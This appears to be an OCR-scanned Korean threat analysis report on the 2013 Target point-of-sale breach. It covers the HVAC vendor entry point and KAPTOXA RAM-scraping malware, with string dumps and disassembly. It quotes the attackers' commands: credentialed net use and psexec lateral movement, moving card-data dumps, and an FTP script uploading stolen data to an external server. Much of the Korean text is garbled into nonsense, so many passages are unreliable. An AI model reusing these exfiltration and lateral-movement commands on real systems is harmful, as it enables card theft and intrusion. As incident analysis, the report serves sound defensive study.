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THREAT ANALYSIS Data Breach
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20134 _
21 1921 O|= O ERIFR! EH(Target) AL, A HHE Soff 12 MBIIE HEO| SHEQ! HZ0| UAUSE LHE
=
20144 T8 AERQISHE Gregg Steinhafel) EFUAL CEO, CNBC QIE{SE E35H POS(Point of Sales, THIHAIE Zt2|) Al
18 12¢ ARIOIAM LMEFET LAZICID HH
20144 B0 AIRE ANT= ME FUARLAIF|E|(KrebsOnSecurity) S210{ 374
18 14 UL HOF AXolA] i HdT 0] cist HE 37K

Target Confirms
Unauthorized Access to
Payment Card Data in U.S.
Stores

Issue has been identified and resolved

MINNEAPOLIS — December 19, 2013

Target foday confirmed it is aware of unauthorized access to payment card data that may have
impacted certain guests making credit and debit card purchases in its U_S. stores. Target is working
closely with law and financial institutions, and has k i and resolved the issue.

“Target's first priority is preserving the trust of our guests and we have moved swiflly to address this
issue, so guests can shop with confidence. We regret any inconvenience this may cause,” said
Gregg il 8 i and chief officer, Target. *We fake this matier very
seriously and are working with law to bring those responsible to justice.”

Approximately 40 million credit and debit card accounts may have been impacted between Nov. 27
and Dec. 15, 2013. Target alerfed authorities and financial institutions immedialely after it was made
aware of the unauthorized access, and is putting all appropriate resources behind these efforts.
Among other aclions, Target is partnering with a leading third-parly forensics firm to conduct a
thorough investigation of the incident
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Zoh= 17M ‘4091 2|LIE AHIO|E(Rinat Shabaev)S 8T E MIZIXIZ2 X|Z23X|2t AN M|ZiXk= 2{A0F ARRFEE (Saratov)0l| 735t
U= 234 o2 HEAICEH o] HM2 2{A0} 20|ZirA(Life news)2t0| QIEEE S5l 2 AMT | XX m2 7 H|IZlof| CHaA= Al
QIBHR|t ofol={ol EXo@ HiKEt 200] OfLID] FE7t KPAle| mE2 S HEHClD AT

20144 33 SR & SAX HSXIX| 42 71240, HE AHTE 24 Aot SZK= 0[0] LHE MHE Eeltt = POS AlA-0| 2=
EE AR Aoz FFECE JMIIX| OfEA LR AlAROZ AE H=X|= LXK RLATE T2 0|2 W A2 25 Sl SAAHY
HHEEEZR(HVAC, heating, ventilation, and air conditioning) A|AR! RIXMIE Eaf| EFZIAL LHE AJARI0]| HZZICHE FE0| M7 |HiCH I&#A

A £E5

2A|IF2E|S] EE2t0]A A (Brian Krebs)= aliie 2T =71 HVAC E&|21 THX|Q O|AH|L|Z AH|A(Fazio Mechanical Services)E S5 2!
ot
L%

LRI FHIUCE X oix|e| Z=HE oHY To[X|= F40| =X UXIH [T 2]2F 20 0] L] OlIF HO|X|S HTEH EFZUAL
7t AFE USS BRI 4 UL

| Fazio Mechanical's Projects

Giant Eagle (Century lll Mall) — ion and new refrigeration sy

Giant Eagle (Bethel Park PA) — renovation and new refrigeration systems
Trader Joe's (Mt Lebanon PA) — new store with new refrigeration systems
Whole Foods (Columbus OH) — new store with new refrigeration systems
Kuhn's (Ingomar PA) - renovation and new refrigeration systems

Palumbo Meat Market (Dubois PA) — new store with new refrigeration system
GetGo (Pittsburgh PA) — new stare with new refrigeration systems

GetGo (Lakewood OH) — new store with new refrigeration systems

Giant Eagle (Frederick MD) - renovation and new refrigeration systems

Trader Joe's (C| ille VA) — s tion and new ion systems

Trader Joe’s (Arlington VA) — new store with new refrigeration systems

BJ's Club (C OH) - tion and new HVAC systems

Target (Hilliard OH) — renovation and new refrigeration systems

Target (Columbia MD) - renovation and new refrigeration systems

[a&! 2] OiX|L O|AILIZ MH|AS| ZEME B|AE (*£X: Fazio Mechanical Services ZH|0|X])
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}2I5H™H z:\Projects\Rescator\MmonNew\Debug\mmon.pdbE &{0!

.0043D5B0: ; : ; F  1#IND  1#SH
.0843D5C0: : ; ; AN

.0843D5D0: : . : =hC _RSDS24124t4F
.0843D5E0: : . : 1¥=JlnAl  Z:\P

.B043D5F0 : : : rojects\Rescator
.B843D600 ; : : \HmonNew\Debugim
00430610 . ; ; mon.pdbllh D
.0043D620 :

[38] 4] POS AlAH Zg

2. =Xt HFAL
rOTm o
OIS AMTEO| J152 Tl AMHIA S ANSIIE e AT AE HE FE SO2 TRE ANTSE AP| KNS MHlAR S2
8 ABEICt

UEIIE Y +TS POS 2 I2MAE Fot HZ2|oM M7= ZRE Esith Iolls HZ2| sHEYS2 22T 4 AFH(RAM
Scraping) 7|#0|C. 22{Lt &| sig POS Z2aME =01 4 g17| WH20] =t HIZR! HIAES 31Sh 2= QUACE

2 =(thread)= AL AZS EQls 271 10A| 002RE 2F 5A| 5927HK| F£2 SIS £ POS AARC| 2
8

B Iz
& Azt nz4o] MEIE AR HI=g Mafet Aoz Holh

SEE MB7IE HES 2 winxmldil THUE MG net use FHS Sall TAE Mol [AIAHOIS] (&M [E] [AZH.txtZ SALSict

net use S: \\10.xxx.xxx.31\cS\WINDOWS\twain_32 /user:ttcopscli3acs\Best1_user BackupUSr
move C:\WINDOWS\system32\winxml.dll S:\[username]_[day]_[month]_[hour].txt

net use S: /del

3. QMTC It =M K|
FAHHY AHFS= HAOA ®MEE o2 Aaid QUCh AMTBC Lo [32! 512 20| 2{A0I02 “ZAF'E 2l0jsk= ‘KAPTOXAZH=
ZALE0| ZEE|0f ATt

00439430 ; : : OPORSTUVHWRYZ1234
00439440 { ¥ . 567890==><"\/
.B0439450 : ; : = |4ADD%} T
08439460 : 2 : === pid: hlo
.BB439470: 5 : ; cklen ===
.BB439480: X B : .memdump GOTI
.B0439490 : : : T  KAPTOKE Can’
.BB4394A0 : ? : t get namefl Unkn

.0B4394B0: : : ; own_Host_Name
.BB4394C0: : p . #d  Asystem32\wi
.BB439400: . : : nxml.dl1 %<l
.BB4394ED: : : : a SelcbPrivile
.BB4394F0: : : ; ge SeDebugPrivi
.BB439500 : £ . 88  lege Korea

[12! 6] 20| SetConsoleCP, SetConsoleOutputCP2 = H0|X|S HZASH=M|, 0l= 2{A0F SO|lM ARRSH= 7|12 2Kt Q1= ZHolct

.text:004059F2 mov esi, esp

text:A04A59FL push 4E3h ; WCodePagelID
.text:004859F9 call ds:5etConsoleCP
.text:0040859FF cmp esi, esp

text:aesasag call _ RTC_CheckEsp

.text: 00405086 mou esi, esp

.text:op4p5A88 push 4E3h ; wCodePagelID
text:aesyasaeD call ds:SetConseleOutputCP

.text: 004085013 cmp esi, esp
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ol—i=

2 1po| Z2OS MMSH= Psexec2 10.000xxx 3101 F&al TSt 22 S LHRZICE 100000xxx 312 ERIAS| LR ALE P2 224
X UCH, POS AJAE] Z=AZ HOICH

psexec /accepteula \\10.xxx.xxx.31 -u ttcopscli3acs\Best1_user -p BackupUSr cmd /c "taskkill /IM bladelogic.exe /F
psexec /accepteula \\10.xxx.xxx.31 -u ttcopscli3acs\Best1_user -p BackupUSr -d bladelogic

psexec /accepteula \\10.xxx.xxx.31 -u ttcopscli3acs\Best1_user -p BackupUSr cmd /c "taskkill /IM bladelogic.exe /F"

2. RE X2 SA}
ZIHEl POS A|AEIOIA £7I15H ME DHl(twain_32a.dI)2 ‘data_ HE Mt Al7E Eitxt’ HENZ 2ABICH ARIIE HEE XZE6lD Q=
ofUS HYolch 2aM4 Ch2Ct,

SE XIZ ZAt 0flA|

move \\10.xxx.xxx.31\NT\twain_32a.dll C:\work\data_2014_1_17_16_47.txt

3.8 BE TS
2= HBE FTPE Sl Q22 H&ok7| 2loh ftp HH2 2 cmd.txt TIUS MASICH 2A CfA THIO| AL, 199.1xx.2xx.182(01Z)2
2 M&35HH ID2F &S = digitalw®t Crysis10890]Ct,

open 199.1xx.2xx.182

digitalw

Crysis1089

cd public_html

cd cgi-bin

bin

send data_2014_1_17_16_48.txt (X)
quit

o124 V3 HZZ0IA= 0] QHYTES Trojan/Win32Reedum O FISHBICE it Q4T 9} RIZiH Xlict 20114 GIS 0l HIZHE SAF BFHO|
ZRf5t0, 015 201348 RRE| B OHNTEI} MEEICE OIS OHTEE POS T2 HEES S J15Tt KAPTOXA 2AIES Z3fs)
1 ct

00435330

.00435340:

080435350 :

00435360 : : ; y

.BP435370: ! : : B output.t
.00435380: : : 1 : CC2 regi
.BB435390 : : CC memregion
.BB4353A0 : ; : : [ 1 KAPT
.004353B0: ; : : 0¥0ll=== pid:
.pB4353C0: : : 3 blocklen: ==

.BB4BED28 : ; : vzABCDEFGHIJKLMN
.8B4BEJ30: g : : OPORSTUVHKYZ1234
.BB4BE340: ; : - 967890==><"\/

.0B4BE3SH
.BBAREIGH : ; : > too long =

.BBLBE3 TG . : : 1%ADD%} Found tr
.0B40E38H . BA. : ack: %s ot

.0B40E390 : - : KAPTOXAMCan't ge
.BBABEIAG ; : 00. ; t namel SeTchPri
.BB4BEIBO - : i vilege SeDebugP
.DB4BE3CH: : : : rivilege test

vector<T
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1. 53 SRS ZAISHE HH(20114 - 20134)
201140 AT W HDR0IN S SAHS HAIBHE Z2ao|ct

:  swchost
for string pattern: suchost <PATTERN>
with pid for kartoxa: svchost <{pid>
process with pid for kartoxa and string pattern: svchost <pid> <{PA

pdb FE=x:\Programming\C++ 2011.08\ScanMemory\Debug\mmon.pdb'0|C}.

-BA4391CA:

7?2 811.88~ScanMemor

¥  y~Debugsmmon . pdd
i . . [T] o
.88439228: ? : a8 g

[23 9] HE AMAE| pdb HE
2013 =0f| Y7A= HEo| pdb HEE HH [I2! 9]2 ZH0| Mmon2| MER HE o2 Mzt 4 Q= MmonNew7} Z&HE|0] QUC},

“x:\Projects\MmonNew\Debug\mmon.pdb”

-BA4370CA : 5 . . t.c TZ REDS"RQR
.B8437808 - & = & >EaHEf ro=ExBw
. 8843 70EA : B L. - w:\Projectz“"Mmon

.B84370Fa@ : 4 & ¢ ! bug>mmon .p
.AA437108:
.BA437118:
.AA437128:

[22 10] 2013'E HE AHTFE2| pdb HE

2. RetalixE CHACR $t b TC HEH(2013H 18)

20133 190 LAE X7| HAES pOS T2 IHN HEE SEsI= 7152 7HX| Lt ‘Retalix’ E2XIES EdH511 Q= 70| ExloZ
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